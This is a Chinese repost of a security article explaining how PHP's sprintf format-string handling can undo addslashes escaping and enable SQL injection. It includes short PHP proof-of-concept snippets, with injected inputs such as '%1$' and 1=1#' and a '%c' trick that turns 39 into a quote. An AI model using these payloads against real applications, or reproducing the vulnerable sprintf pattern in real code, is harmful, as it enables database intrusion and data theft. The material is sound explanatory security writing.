sprintf格式化字符串带来的注入隐患

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sprintf格式化字符串带来的注入隐患相关的知识,希望对你有一定的参考价值。

原文链接:https://paper.seebug.org/386/

摘要点关键知识点

<?php

$input = addslashes("%1$‘ and 1=1#");
$b = sprintf("AND b=‘%s‘", $input);
...
$sql = sprintf("SELECT * FROM t WHERE a=‘%s‘ $b", ‘admin‘);
echo $sql;

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了‘%‘)会被当作字符类型,而被吃掉,单引号,斜杠\也不例外。

如果能提前将%‘ and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\‘

select * from user where username = ‘%\‘ and 1=1#‘;

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,成功逃逸

<?php
$sql = "select * from user where username = ‘%\‘ and 1=1#‘;";
$args = "admin";
echo sprintf( $sql, $args ) ;
//result: select * from user where username = ‘‘ and 1=1#‘
?>

还可以使用%1$吃掉后面的斜杠,而不引起报错

<?php
$sql = "select * from user where username = ‘%1$\‘ and 1=1#‘ and password=‘%s‘;";
$args = "admin";
echo sprintf( $sql, $args) ;
//result: select * from user where username = ‘‘ and 1=1#‘ and password=‘admin‘;
?>

国外安全研究人员Anthony Ferrara给出了另一种此漏洞的利用方式

<?php

$input1 = ‘%1$c) OR 1 = 1 /*‘;
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN (‘$input1‘) AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;

%c起到了类似chr()的效果,将数字39转化为,从而导致了sql注入。

以上是关于sprintf格式化字符串带来的注入隐患的主要内容,如果未能解决你的问题,请参考以下文章

linux中sprintf函数怎么用

sprintf函数用法详解

sprintf为null char字符串时的预期行为

Perl:sprintf函数

PHP 格式化字符串sprintf()

格式化输出字符串——sprintf